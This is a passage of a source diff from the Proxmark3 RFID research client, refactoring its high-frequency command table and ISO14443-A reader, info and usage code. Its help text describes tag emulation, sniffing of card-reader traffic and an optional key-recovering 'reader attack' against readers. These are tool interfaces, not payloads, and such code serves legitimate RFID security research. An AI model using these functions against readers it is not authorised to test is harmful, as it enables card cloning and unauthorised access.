return 1; + } + ans = CmdHFTopazReader("s"); + if (ans == 0) { + PrintAndLogEx(SUCCESS, "\nValid Topaz Tag Found\n"); + return 1; + } + // 14b and iclass is the longest test (put last) + ans = HF14BReader(false); //CmdHF14BReader("s"); + if (ans) { + PrintAndLogEx(SUCCESS, "\nValid ISO14443-B Tag Found\n"); + return ans; + } + ans = HFiClassReader("", false, false); + if (ans) { + PrintAndLogEx(SUCCESS, "\nValid iClass Tag (or PicoPass Tag) Found\n"); + return ans; + } + + /* + ans = CmdHFFelicaReader("s"); + if (ans) { + PrintAndLogEx(NORMAL, "\nValid ISO18092 / FeliCa Found\n"); + return ans; + } + */ + + PrintAndLogEx(FAILED, "\nno known/supported 13.56 MHz tags found\n"); + return 0; +} + +int CmdHFTune(const char *Cmd) { + PrintAndLogEx(SUCCESS, "Measuring HF antenna, press button to exit"); + UsbCommand c = {CMD_MEASURE_ANTENNA_TUNING_HF}; + clearCommandBuffer(); + SendCommand(&c); + return 0; +} + +int CmdHFSnoop(const char *Cmd) { + char cmdp = param_getchar(Cmd, 0); + if (cmdp == 'h' || cmdp == 'H') return usage_hf_snoop(); + + int skippairs = param_get32ex(Cmd, 0, 0, 10); + int skiptriggers = param_get32ex(Cmd, 1, 0, 10); + + UsbCommand c = {CMD_HF_SNIFFER, {skippairs, skiptriggers, 0}}; + clearCommandBuffer(); + SendCommand(&c); + return 0; +} + +static command_t CommandTable[] = { + {"help", CmdHelp, 1, "This help"}, + {"14a", CmdHF14A, 1, "{ ISO14443A RFIDs... }"}, + {"14b", CmdHF14B, 1, "{ ISO14443B RFIDs... }"}, + {"15", CmdHF15, 1, "{ ISO15693 RFIDs... }"}, + {"epa", CmdHFEPA, 1, "{ German Identification Card... }"}, + {"emv", CmdHFEMV, 1, "{ EMV RFIDs... }"}, + {"felica", CmdHFFelica, 1, "{ ISO18092 / Felica RFIDs... }"}, + {"legic", CmdHFLegic, 1, "{ LEGIC RFIDs... }"}, + {"iclass", CmdHFiClass, 1, "{ ICLASS RFIDs... }"}, + {"mf", CmdHFMF, 1, "{ MIFARE RFIDs... }"}, + {"mfu", CmdHFMFUltra, 1, "{ MIFARE Ultralight RFIDs... }"}, + {"mfdes", CmdHFMFDes, 1, "{ MIFARE Desfire RFIDs... }"}, + {"topaz", CmdHFTopaz, 1, "{ TOPAZ (NFC Type 1) RFIDs... }"}, + {"list", CmdTraceList, 0, "List protocol data in trace buffer"}, + {"tune", CmdHFTune, 0, "Continuously measure HF antenna tuning"}, + {"search", CmdHFSearch, 1, "Search for known HF tags [preliminary]"}, + {"snoop", CmdHFSnoop, 0, " Generic HF Snoop"}, + {NULL, NULL, 0, NULL} }; -int CmdHF(const char *Cmd) -{ - CmdsParse(CommandTable, Cmd); - return 0; +int CmdHF(const char *Cmd) { + clearCommandBuffer(); + CmdsParse(CommandTable, Cmd); + return 0; } -int CmdHelp(const char *Cmd) -{ - CmdsHelp(CommandTable); - return 0; +int CmdHelp(const char *Cmd) { + CmdsHelp(CommandTable); + return 0; } diff --git a/client/cmdhf.h b/client/cmdhf.h index ff20a950a..be369b626 100644 --- a/client/cmdhf.h +++ b/client/cmdhf.h @@ -11,7 +11,32 @@ #ifndef CMDHF_H__ #define CMDHF_H__ -int CmdHF(const char *Cmd); -int CmdHFTune(const char *Cmd); +#include +#include +#include +#include "proxmark3.h" +#include "graph.h" +#include "ui.h" +#include "cmdparser.h" +#include "cmdhf14a.h" // ISO14443-A +#include "cmdhf14b.h" // ISO14443-B +#include "cmdhf15.h" // ISO15693 +#include "cmdhfepa.h" +#include "cmdhflegic.h" // LEGIC +#include "cmdhficlass.h" // ICLASS +#include "cmdhfmf.h" // CLASSIC +#include "cmdhfmfu.h" // ULTRALIGHT/NTAG etc +#include "cmdhfmfdes.h" // DESFIRE +#include "cmdhftopaz.h" // TOPAZ +#include "cmdhffelica.h" // ISO18092 / FeliCa +#include "emv/cmdemv.h" // EMV +#include "cmdtrace.h" // trace list +extern int CmdHF(const char *Cmd); +extern int CmdHFTune(const char *Cmd); +extern int CmdHFSearch(const char *Cmd); +extern int CmdHFSnoop(const char *Cmd); + +extern int usage_hf_search(); +extern int usage_hf_snoop(); #endif diff --git a/client/cmdhf14a.c b/client/cmdhf14a.c index 39bdcf402..617a703e4 100644 --- a/client/cmdhf14a.c +++ b/client/cmdhf14a.c @@ -1,6 +1,8 @@ //----------------------------------------------------------------------------- -// 2011, Merlok // Copyright (C) 2010 iZsh , Hagen Fritsch +// 2011, 2017 Merlok +// 2014, Peter Fillmore +// 2015, 2016, 2017 Iceman // // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of @@ -8,218 +10,372 @@ //----------------------------------------------------------------------------- // High frequency ISO14443A commands //----------------------------------------------------------------------------- - -#include -#include -#include -#include -#include "util.h" -#include "iso14443crc.h" -#include "data.h" -#include "proxmark3.h" -#include "ui.h" -#include "cmdparser.h" #include "cmdhf14a.h" -#include "common.h" -#include "cmdmain.h" -#include "mifare.h" static int CmdHelp(const char *Cmd); -static void waitCmd(uint8_t iLen); +static int waitCmd(uint8_t iLen); -int CmdHF14AList(const char *Cmd) -{ - bool ShowWaitCycles = false; - char param = param_getchar(Cmd, 0); +static const manufactureName manufactureMapping[] = { + // ID, "Vendor Country" + { 0x01, "Motorola UK" }, + { 0x02, "ST Microelectronics SA France" }, + { 0x03, "Hitachi, Ltd Japan" }, + { 0x04, "NXP Semiconductors Germany" }, + { 0x05, "Infineon Technologies AG Germany" }, + { 0x06, "Cylink USA" }, + { 0x07, "Texas Instrument France" }, + { 0x08, "Fujitsu Limited Japan" }, + { 0x09, "Matsushita Electronics Corporation, Semiconductor Company Japan" }, + { 0x0A, "NEC Japan" }, + { 0x0B, "Oki Electric Industry Co. Ltd Japan" }, + { 0x0C, "Toshiba Corp. Japan" }, + { 0x0D, "Mitsubishi Electric Corp. Japan" }, + { 0x0E, "Samsung Electronics Co. Ltd Korea" }, + { 0x0F, "Hynix / Hyundai, Korea" }, + { 0x10, "LG-Semiconductors Co. Ltd Korea" }, + { 0x11, "Emosyn-EM Microelectronics USA" }, + { 0x12, "INSIDE Technology France" }, + { 0x13, "ORGA Kartensysteme GmbH Germany" }, + { 0x14, "SHARP Corporation Japan" }, + { 0x15, "ATMEL France" }, + { 0x16, "EM Microelectronic-Marin SA Switzerland" }, + { 0x17, "KSW Microtec GmbH Germany" }, + { 0x18, "ZMD AG Germany" }, + { 0x19, "XICOR, Inc. USA" }, + { 0x1A, "Sony Corporation Japan" }, + { 0x1B, "Malaysia Microelectronic Solutions Sdn. Bhd Malaysia" }, + { 0x1C, "Emosyn USA" }, + { 0x1D, "Shanghai Fudan Microelectronics Co. Ltd. P.R. China" }, + { 0x1E, "Magellan Technology Pty Limited Australia" }, + { 0x1F, "Melexis NV BO Switzerland" }, + { 0x20, "Renesas Technology Corp. Japan" }, + { 0x21, "TAGSYS France" }, + { 0x22, "Transcore USA" }, + { 0x23, "Shanghai belling corp., ltd. China" }, + { 0x24, "Masktech Germany Gmbh Germany" }, + { 0x25, "Innovision Research and Technology Plc UK" }, + { 0x26, "Hitachi ULSI Systems Co., Ltd. Japan" }, + { 0x27, "Cypak AB Sweden" }, + { 0x28, "Ricoh Japan" }, + { 0x29, "ASK France" }, + { 0x2A, "Unicore Microsystems, LLC Russian Federation" }, + { 0x2B, "Dallas Semiconductor/Maxim USA" }, + { 0x2C, "Impinj, Inc. USA" }, + { 0x2D, "RightPlug Alliance USA" }, + { 0x2E, "Broadcom Corporation USA" }, + { 0x2F, "MStar Semiconductor, Inc Taiwan, ROC" }, + { 0x30, "BeeDar Technology Inc. USA" }, + { 0x31, "RFIDsec Denmark" }, + { 0x32, "Schweizer Electronic AG Germany" }, + { 0x33, "AMIC Technology Corp Taiwan" }, + { 0x34, "Mikron JSC Russia" }, + { 0x35, "Fraunhofer Institute for Photonic Microsystems Germany" }, + { 0x36, "IDS Microchip AG Switzerland" }, + { 0x37, "Kovio USA" }, + { 0x38, "HMT Microelectronic Ltd Switzerland" }, + { 0x39, "Silicon Craft Technology Thailand" }, + { 0x3A, "Advanced Film Device Inc. Japan" }, + { 0x3B, "Nitecrest Ltd UK" }, + { 0x3C, "Verayo Inc. USA" }, + { 0x3D, "HID Global USA" }, + { 0x3E, "Productivity Engineering Gmbh Germany" }, + { 0x3F, "Austriamicrosystems AG (reserved) Austria" }, + { 0x40, "Gemalto SA France" }, + { 0x41, "Renesas Electronics Corporation Japan" }, + { 0x42, "3Alogics Inc Korea" }, + { 0x43, "Top TroniQ Asia Limited Hong Kong" }, + { 0x44, "Gentag Inc. USA" }, + { 0x56, "Sensible Object. UK" }, + { 0x00, "no tag-info available" } // must be the last entry +}; + +// get a product description based on the UID +// uid[8] tag uid +// returns description of the best match +char* getTagInfo(uint8_t uid) { + + int i; + int len = sizeof(manufactureMapping) / sizeof(manufactureName); - if (param == 'h' || (param != 0 && param != 'f')) { - PrintAndLog("List data in trace buffer."); - PrintAndLog("Usage: hf 14a list [f]"); - PrintAndLog("f - show frame delay times as well"); - PrintAndLog("sample: hf 14a list f"); - return 0; - } + for ( i = 0; i < len; ++i ) + if ( uid == manufactureMapping[i].uid) + return manufactureMapping[i].desc; - if (param == 'f') { - ShowWaitCycles = true; - } - - uint8_t got[1920]; - GetFromBigBuf(got,sizeof(got),0); - WaitForResponse(CMD_ACK,NULL); + //No match, return default + return manufactureMapping[len-1].desc; +} - PrintAndLog("Recorded Activity"); - PrintAndLog(""); - PrintAndLog("Start = Start of Start Bit, End = End of last modulation. Src = Source of Transfer"); - PrintAndLog("All times are in carrier periods (1/13.56Mhz)"); - PrintAndLog(""); - PrintAndLog(" Start | End | Src | Data"); - PrintAndLog("-----------|-----------|-----|--------"); - - int i = 0; - uint32_t first_timestamp = 0; - uint32_t timestamp; - uint32_t EndOfTransmissionTimestamp = 0; - - for (;;) { - if(i >= 1900) { - break; - } - - bool isResponse; - timestamp = *((uint32_t *)(got+i)); - if (timestamp & 0x80000000) { - timestamp &= 0x7fffffff; - isResponse = true; - } else { - isResponse = false; - } - - if(i==0) { - first_timestamp = timestamp; - } - - int parityBits = *((uint32_t *)(got+i+4)); - - int len = got[i+8]; - - if (len > 100) { - break; - } - if (i + len >= 1900) { - break; - } - - uint8_t *frame = (got+i+9); - - // Break and stick with current result if buffer was not completely full - if (frame[0] == 0x44 && frame[1] == 0x44 && frame[2] == 0x44 && frame[3] == 0x44) break; - - char line[1000] = ""; - int j; - if (len) { - for (j = 0; j < len; j++) { - int oddparity = 0x01; - int k; - - for (k=0;k<8;k++) { - oddparity ^= (((frame[j] & 0xFF) >> k) & 0x01); - } - - //if((parityBits >> (len - j - 1)) & 0x01) { - if (isResponse && (oddparity != ((parityBits >> (len - j - 1)) & 0x01))) { - sprintf(line+(j*4), "%02x! ", frame[j]); - } else { - sprintf(line+(j*4), "%02x ", frame[j]); - } - } - } else { - if (ShowWaitCycles) { - uint32_t next_timestamp = (*((uint32_t *)(got+i+9))) & 0x7fffffff; - sprintf(line, "fdt (Frame Delay Time): %d", (next_timestamp - timestamp)); - } - } - - char *crc; - crc = ""; - if (len > 2) { - uint8_t b1, b2; - for (j = 0; j < (len - 1); j++) { - // gives problems... search for the reason.. - /*if(frame[j] == 0xAA) { - switch(frame[j+1]) { - case 0x01: - crc = "[1] Two drops close after each other"; - break; - case 0x02: - crc = "[2] Potential SOC with a drop in second half of bitperiod"; - break; - case 0x03: - crc = "[3] Segment Z after segment X is not possible"; - break; - case 0x04: - crc = "[4] Parity bit of a fully received byte was wrong"; - break; - default: - crc = "[?] Unknown error"; - break; - } - break; - }*/ - } - - if (strlen(crc)==0) { - ComputeCrc14443(CRC_14443_A, frame, len-2, &b1, &b2); - if (b1 != frame[len-2] || b2 != frame[len-1]) { - crc = (isResponse & (len < 6)) ? "" : " !crc"; - } else { - crc = ""; - } - } - } else { - crc = ""; // SHORT - } - - i += (len + 9); - - EndOfTransmissionTimestamp = (*((uint32_t *)(got+i))) & 0x7fffffff; - - if (!ShowWaitCycles) i += 9; - - PrintAndLog(" %9d | %9d | %s | %s %s", - (timestamp - first_timestamp), - (EndOfTransmissionTimestamp - first_timestamp), - (len?(isResponse ? "Tag" : "Rdr"):" "), - line, crc); - - } +int usage_hf_14a_sim(void) { +// PrintAndLogEx(NORMAL, "\n Emulating ISO/IEC 14443 type A tag with 4,7 or 10 byte UID\n"); + PrintAndLogEx(NORMAL, "\n Emulating ISO/IEC 14443 type A tag with 4,7 byte UID\n"); + PrintAndLogEx(NORMAL, "Usage: hf 14a sim [h] t u [x] [e] [v]"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h : This help"); + PrintAndLogEx(NORMAL, " t : 1 = MIFARE Classic 1k"); + PrintAndLogEx(NORMAL, " 2 = MIFARE Ultralight"); + PrintAndLogEx(NORMAL, " 3 = MIFARE Desfire"); + PrintAndLogEx(NORMAL, " 4 = ISO/IEC 14443-4"); + PrintAndLogEx(NORMAL, " 5 = MIFARE Tnp3xxx"); + PrintAndLogEx(NORMAL, " 6 = MIFARE Mini"); + PrintAndLogEx(NORMAL, " 7 = AMIIBO (NTAG 215), pack 0x8080"); + PrintAndLogEx(NORMAL, " 8 = MIFARE Classic 4k"); + PrintAndLogEx(NORMAL, " 9 = FM11RF005SH Shanghai Metro"); +// PrintAndLogEx(NORMAL, " u : 4, 7 or 10 byte UID"); + PrintAndLogEx(NORMAL, " u : 4, 7 byte UID"); + PrintAndLogEx(NORMAL, " x : (Optional) Performs the 'reader attack', nr/ar attack against a reader"); + PrintAndLogEx(NORMAL, " e : (Optional) Fill simulator keys from found keys"); + PrintAndLogEx(NORMAL, " v : (Optional) Verbose"); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf 14a sim t 1 u 11223344 x"); + PrintAndLogEx(NORMAL, " hf 14a sim t 1 u 11223344"); + PrintAndLogEx(NORMAL, " hf 14a sim t 1 u 11223344556677"); +// PrintAndLogEx(NORMAL, " hf 14a sim t 1 u 11223445566778899AA\n"); + return 0; +} +int usage_hf_14a_sniff(void) { + PrintAndLogEx(NORMAL, "It get data from the field and saves it into command buffer."); + PrintAndLogEx(NORMAL, "Buffer accessible from command 'hf list 14a'"); + PrintAndLogEx(NORMAL, "Usage: hf 14a sniff [c][r]"); + PrintAndLogEx(NORMAL, "c - triggered by first data from card"); + PrintAndLogEx(NORMAL, "r - triggered by first 7-bit request from reader (REQ,WUP,...)"); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf 14a sniff c r"); + return 0; +} +int usage_hf_14a_raw(void) { + PrintAndLogEx(NORMAL, "Usage: hf 14a raw [-h] [-r] [-c] [-p] [-a] [-T] [-t] [-b] <0A 0B 0C ... hex>"); + PrintAndLogEx(NORMAL, " -h this help"); + PrintAndLogEx(NORMAL, " -r do not read response"); + PrintAndLogEx(NORMAL, " -c calculate and append CRC"); + PrintAndLogEx(NORMAL, " -p leave the signal field ON after receive"); + PrintAndLogEx(NORMAL, " -a active signal field ON without select"); + PrintAndLogEx(NORMAL, " -s active signal field ON with select"); + PrintAndLogEx(NORMAL, " -b number of bits to send. Useful for send partial byte"); + PrintAndLogEx(NORMAL, " -t timeout in ms"); + PrintAndLogEx(NORMAL, " -T use Topaz protocol to send command"); + PrintAndLogEx(NORMAL, " -3 ISO14443-3 select only (skip RATS)"); + return 0; +} +int usage_hf_14a_reader(void) { + PrintAndLogEx(NORMAL, "Usage: hf 14a reader [k|s|x] [3]"); + PrintAndLogEx(NORMAL, " k keep the field active after command executed"); + PrintAndLogEx(NORMAL, " s silent (no messages)"); + PrintAndLogEx(NORMAL, " x just drop the signal field"); + PrintAndLogEx(NORMAL, " 3 ISO14443-3 select only (skip RATS)"); + return 0; +} +int usage_hf_14a_info(void){ + PrintAndLogEx(NORMAL, "This command makes more extensive tests against a ISO14443a tag in order to collect information"); + PrintAndLogEx(NORMAL, "Usage: hf 14a info [h|s]"); + PrintAndLogEx(NORMAL, " s silent (no messages)"); + PrintAndLogEx(NORMAL, " n test for nack bug"); + return 0; +} +int usage_hf_14a_apdu(void) { + PrintAndLogEx(NORMAL, "Usage: hf 14a apdu [-s] [-k] [-t] "); + PrintAndLogEx(NORMAL, " -s activate field and select card"); + PrintAndLogEx(NORMAL, " -k leave the signal field ON after receive response"); + PrintAndLogEx(NORMAL, " -t executes TLV decoder if it possible. TODO!!!!"); + return 0; +} +int usage_hf_14a_antifuzz(void) { + PrintAndLogEx(NORMAL, "Usage: hf 14a antifuzz [4|7|10]"); + PrintAndLogEx(NORMAL, " determine which anticollision phase the command will target."); return 0; } -void iso14a_set_timeout(uint32_t timeout) { - UsbCommand c = {CMD_READER_ISO_14443a, {ISO14A_SET_TIMEOUT, 0, timeout}}; - SendCommand(&c); +int CmdHF14AList(const char *Cmd) { + //PrintAndLogEx(NORMAL, "Deprecated command, use 'hf list 14a' instead"); + CmdTraceList("14a"); + return 0; } -int CmdHF14AReader(const char *Cmd) -{ - UsbCommand c = {CMD_READER_ISO_14443a, {ISO14A_CONNECT | ISO14A_NO_DISCONNECT, 0, 0}}; +int CmdHF14AReader(const char *Cmd) { + + uint32_t cm = ISO14A_CONNECT; + bool disconnectAfter = true, silent = false; + int cmdp = 0; + + while (param_getchar(Cmd, cmdp) != 0x00) { + switch (tolower(param_getchar(Cmd, cmdp))) { + case 'h': + return usage_hf_14a_reader(); + case '3': + cm |= ISO14A_NO_RATS; + break; + case 'k': + disconnectAfter = false; + break; + case 's': + silent = true; + break; + case 'x': + cm &= ~ISO14A_CONNECT; + break; + default: + PrintAndLogEx(WARNING, "Unknown command."); + return 1; + } + cmdp++; + } + + if (!disconnectAfter) + cm |= ISO14A_NO_DISCONNECT; + + UsbCommand c = {CMD_READER_ISO_14443a, {cm, 0, 0}}; + clearCommandBuffer(); SendCommand(&c); + if (ISO14A_CONNECT & cm) { + UsbCommand resp; + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2500)) { + if (!silent) PrintAndLogEx(WARNING, "iso14443a card select failed"); + DropField(); + return 1; + } + + iso14a_card_select_t card; + memcpy(&card, (iso14a_card_select_t *)resp.d.asBytes, sizeof(iso14a_card_select_t)); + + /* + 0: couldn't read + 1: OK, with ATS + 2: OK, no ATS + 3: proprietary Anticollision + */ + uint64_t select_status = resp.arg[0]; + + if (select_status == 0) { + if (!silent) PrintAndLogEx(WARNING, "iso14443a card select failed"); + DropField(); + return 1; + } + + if (select_status == 3) { + PrintAndLogEx(NORMAL, "Card doesn't support standard iso14443-3 anticollision"); + PrintAndLogEx(NORMAL, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); + DropField(); + return 1; + } + + PrintAndLogEx(NORMAL, " UID : %s", sprint_hex(card.uid, card.uidlen)); + PrintAndLogEx(NORMAL, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); + PrintAndLogEx(NORMAL, " SAK : %02x [%" PRIu64 "]", card.sak, resp.arg[0]); + + if(card.ats_len >= 3) { // a valid ATS consists of at least the length byte (TL) and 2 CRC bytes + PrintAndLogEx(NORMAL, " ATS : %s", sprint_hex(card.ats, card.ats_len)); + } + + if (!disconnectAfter) { + if (!silent) PrintAndLogEx(SUCCESS, "Card is selected. You can now start sending commands"); + } + } + + if (disconnectAfter) { + if (!silent) PrintAndLogEx(SUCCESS, "field dropped."); + } + + return 0; +} + +int CmdHF14AInfo(const char *Cmd) { + + if (Cmd[0] == 'h' || Cmd[0] == 'H') return usage_hf_14a_info(); + + bool silent = (Cmd[0] == 's' || Cmd[0] == 'S'); + bool do_nack_test = (Cmd[0] == 'n' || Cmd[0] == 'N'); + + UsbCommand c = {CMD_READER_ISO_14443a, {ISO14A_CONNECT | ISO14A_NO_DISCONNECT, 0, 0}}; + clearCommandBuffer(); + SendCommand(&c); UsbCommand resp; - WaitForResponse(CMD_ACK,&resp); + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2500)) { + if (!silent) PrintAndLogEx(WARNING, "iso14443a card select failed"); + DropField(); + return 0; + } iso14a_card_select_t card; memcpy(&card, (iso14a_card_select_t *)resp.d.asBytes, sizeof(iso14a_card_select_t)); - uint64_t select_status = resp.arg[0]; // 0: couldn't read, 1: OK, with ATS, 2: OK, no ATS + /* + 0: couldn't read + 1: OK, with ATS + 2: OK, no ATS + 3: proprietary Anticollision + */ + uint64_t select_status = resp.arg[0]; - if(select_status == 0) { - PrintAndLog("iso14443a card select failed"); + if (select_status == 0) { + if (!silent) PrintAndLogEx(WARNING, "iso14443a card select failed"); + DropField(); return 0; } - PrintAndLog("ATQA : %02x %02x", card.atqa[1], card.atqa[0]); - PrintAndLog(" UID : %s", sprint_hex(card.uid, card.uidlen)); - PrintAndLog(" SAK : %02x [%d]", card.sak, resp.arg[0]); + if (select_status == 3) { + PrintAndLogEx(NORMAL, "Card doesn't support standard iso14443-3 anticollision"); + PrintAndLogEx(NORMAL, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); + DropField(); + return select_status; + } + PrintAndLogEx(NORMAL, " UID : %s", sprint_hex(card.uid, card.uidlen)); + PrintAndLogEx(NORMAL, "ATQA : %02x %02x", card.atqa[1], card.atqa[0]); + PrintAndLogEx(NORMAL, " SAK : %02x [%" PRIu64 "]", card.sak, resp.arg[0]); + + bool isMifareClassic = true; switch (card.sak) { - case 0x00: PrintAndLog("TYPE : NXP MIFARE Ultralight | Ultralight C"); break; - case 0x04: PrintAndLog("TYPE : NXP MIFARE (various !DESFire !DESFire EV1)"); break; - case 0x08: PrintAndLog("TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1"); break; - case 0x09: PrintAndLog("TYPE : NXP MIFARE Mini 0.3k"); break; - case 0x10: PrintAndLog("TYPE : NXP MIFARE Plus 2k SL2"); break; - case 0x11: PrintAndLog("TYPE : NXP MIFARE Plus 4k SL2"); break; - case 0x18: PrintAndLog("TYPE : NXP MIFARE Classic 4k | Plus 4k SL1"); break; - case 0x20: PrintAndLog("TYPE : NXP MIFARE DESFire 4k | DESFire EV1 2k/4k/8k | Plus 2k/4k SL3 | JCOP 31/41"); break; - case 0x24: PrintAndLog("TYPE : NXP MIFARE DESFire | DESFire EV1"); break; - case 0x28: PrintAndLog("TYPE : JCOP31 or JCOP41 v2.3.1"); break; - case 0x38: PrintAndLog("TYPE : Nokia 6212 or 6131 MIFARE CLASSIC 4K"); break; - case 0x88: PrintAndLog("TYPE : Infineon MIFARE CLASSIC 1K"); break; - case 0x98: PrintAndLog("TYPE : Gemplus MPCOS"); break; + case 0x00: + isMifareClassic = false; + + // ******** is card of the MFU type (UL/ULC/NTAG/ etc etc) + DropField(); + + uint32_t tagT = GetHF14AMfU_Type(); + if (tagT != UL_ERROR) + ul_print_type(tagT, 0); + else + PrintAndLogEx(NORMAL, "TYPE: Possible AZTEK (iso14443a compliant)"); + + // reconnect for further tests + c.arg[0] = ISO14A_CONNECT | ISO14A_NO_DISCONNECT; + c.arg[1] = 0; + c.arg[2] = 0; + clearCommandBuffer(); + SendCommand(&c); + UsbCommand resp; + WaitForResponse(CMD_ACK, &resp); + + memcpy(&card, (iso14a_card_select_t *)resp.d.asBytes, sizeof(iso14a_card_select_t)); + + select_status = resp.arg[0]; // 0: couldn't read, 1: OK, with ATS, 2: OK, no ATS + + if(select_status == 0) { + DropField(); + return 0; + } + break; + case 0x01: PrintAndLogEx(NORMAL, "TYPE : NXP TNP3xxx Activision Game Appliance"); break; + case 0x04: PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE (various !DESFire !DESFire EV1)"); isMifareClassic = false; break; + case 0x08: PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1 | 1k Ev1"); break; + case 0x09: PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE Mini 0.3k"); break; + case 0x0A: PrintAndLogEx(NORMAL, "TYPE : FM11RF005SH (Shanghai Metro)"); break; + case 0x10: PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE Plus 2k SL2"); break; + case 0x11: PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE Plus 4k SL2"); break; + case 0x18: PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE Classic 4k | Plus 4k SL1 | 4k Ev1"); break; + case 0x20: PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE DESFire 4k | DESFire EV1 2k/4k/8k | Plus 2k/4k SL3 | JCOP 31/41"); isMifareClassic = false; break; + case 0x24: PrintAndLogEx(NORMAL, "TYPE : NXP MIFARE DESFire | DESFire EV1"); isMifareClassic = false; break; + case 0x28: PrintAndLogEx(NORMAL, "TYPE : JCOP31 or JCOP41 v2.3.1"); break; + case 0x38: PrintAndLogEx(NORMAL, "TYPE : Nokia 6212 or 6131 MIFARE CLASSIC 4K"); break; + case 0x88: PrintAndLogEx(NORMAL, "TYPE : Infineon MIFARE CLASSIC 1K"); break; + case 0x98: PrintAndLogEx(NORMAL, "TYPE : Gemplus MPCOS"); break; default: ; } + // Double & triple sized UID, can be mapped to a manufacturer. + if ( card.uidlen > 4 ) { + PrintAndLogEx(NORMAL, "MANUFACTURER : %s", getTagInfo(card.uid[0])); + } // try to request ATS even if tag claims not to support it if (select_status == 2) { @@ -228,31 +384,25 @@ int CmdHF14AReader(const char *Cmd) c.arg[1] = 2; c.arg[2] = 0; memcpy(c.d.asBytes, rats, 2); + clearCommandBuffer(); SendCommand(&c); WaitForResponse(CMD_ACK,&resp); - memcpy(&card.ats, resp.d.asBytes, resp.arg[0]); + memcpy(card.ats, resp.d.asBytes, resp.arg[0]); card.ats_len = resp.arg[0]; // note: ats_len includes CRC Bytes } - // disconnect - c.arg[0] = 0; - c.arg[1] = 0; - c.arg[2] = 0; - SendCommand(&c); - - if(card.ats_len >= 3) { // a valid ATS consists of at least the length byte (TL) and 2 CRC bytes bool ta1 = 0, tb1 = 0, tc1 = 0; int pos; if (select_status == 2) { - PrintAndLog("SAK incorrectly claims that card doesn't support RATS"); + PrintAndLogEx(NORMAL, "SAK incorrectly claims that card doesn't support RATS"); } - PrintAndLog(" ATS : %s", sprint_hex(card.ats, card.ats_len)); - PrintAndLog(" - TL : length is %d bytes", card.ats[0]); + PrintAndLogEx(NORMAL, " ATS : %s", sprint_hex(card.ats, card.ats_len)); + PrintAndLogEx(NORMAL, " - TL : length is %d bytes", card.ats[0]); if (card.ats[0] != card.ats_len - 2) { - PrintAndLog("ATS may be corrupted. Length of ATS (%d bytes incl. 2 Bytes CRC) doesn't match TL", card.ats_len); + PrintAndLogEx(NORMAL, "ATS may be corrupted. Length of ATS (%d bytes incl. 2 Bytes CRC) doesn't match TL", card.ats_len); } if (card.ats[0] > 1) { // there is a format byte (T0) @@ -260,9 +410,12 @@ int CmdHF14AReader(const char *Cmd) tb1 = (card.ats[1] & 0x20) == 0x20; tc1 = (card.ats[1] & 0x40) == 0x40; int16_t fsci = card.ats[1] & 0x0f; - PrintAndLog(" - T0 : TA1 is%s present, TB1 is%s present, " + + PrintAndLogEx(NORMAL, " - T0 : TA1 is%s present, TB1 is%s present, " "TC1 is%s present, FSCI is %d (FSC = %ld)", - (ta1 ? "" : " NOT"), (tb1 ? "" : " NOT"), (tc1 ? "" : " NOT"), + (ta1 ? "" : " NOT"), + (tb1 ? "" : " NOT"), + (tc1 ? "" : " NOT"), fsci, fsci < 5 ? (fsci - 2) * 8 : fsci < 8 ? (fsci - 3) * 32 : @@ -282,7 +435,7 @@ int CmdHF14AReader(const char *Cmd) if (card.ats[pos] & 0x04) strcat(dr, "8, "); if (strlen(ds) != 0) ds[strlen(ds) - 2] = '\0'; if (strlen(dr) != 0) dr[strlen(dr) - 2] = '\0'; - PrintAndLog(" - TA1 : different divisors are%s supported, " + PrintAndLogEx(NORMAL, " - TA1 : different divisors are%s supported, " "DR: [%s], DS: [%s]", (card.ats[pos] & 0x80 ? " NOT" : ""), dr, ds); pos++; @@ -290,7 +443,7 @@ int CmdHF14AReader(const char *Cmd) if (tb1) { uint32_t sfgi = card.ats[pos] & 0x0F; uint32_t fwi = card.ats[pos] >> 4; - PrintAndLog(" - TB1 : SFGI = %d (SFGT = %s%ld/fc), FWI = %d (FWT = %ld/fc)", + PrintAndLogEx(NORMAL, " - TB1 : SFGI = %d (SFGT = %s%ld/fc), FWI = %d (FWT = %ld/fc)", (sfgi), sfgi ? "" : "(not needed) ", sfgi ? (1 << 12) << sfgi : 0, @@ -300,12 +453,12 @@ int CmdHF14AReader(const char *Cmd) pos++; } if (tc1) { - PrintAndLog(" - TC1 : NAD is%s supported, CID is%s supported", + PrintAndLogEx(NORMAL, " - TC1 : NAD is%s supported, CID is%s supported", (card.ats[pos] & 0x01) ? "" : " NOT", (card.ats[pos] & 0x02) ? "" : " NOT"); pos++; } - if (card.ats[0] > pos) { + if (card.ats[0] > pos && card.ats[0] < card.ats_len - 2 ) { char *tip = ""; if (card.ats[0] - pos >= 7) { if (memcmp(card.ats + pos, "\xC1\x05\x2F\x2F\x01\xBC\xD6", 7) == 0) { @@ -314,89 +467,80 @@ int CmdHF14AReader(const char *Cmd) tip = "-> MIFARE Plus S 2K or 4K"; } } - PrintAndLog(" - HB : %s%s", sprint_hex(card.ats + pos, card.ats[0] - pos), tip); + PrintAndLogEx(NORMAL, " - HB : %s%s", sprint_hex(card.ats + pos, card.ats[0] - pos), tip); if (card.ats[pos] == 0xC1) { - PrintAndLog(" c1 -> Mifare or (multiple) virtual cards of various type"); - PrintAndLog(" %02x -> Length is %d bytes", - card.ats[pos + 1], card.ats[pos + 1]); + PrintAndLogEx(NORMAL, " c1 -> Mifare or (multiple) virtual cards of various type"); + PrintAndLogEx(NORMAL, " %02x -> Length is %d bytes", 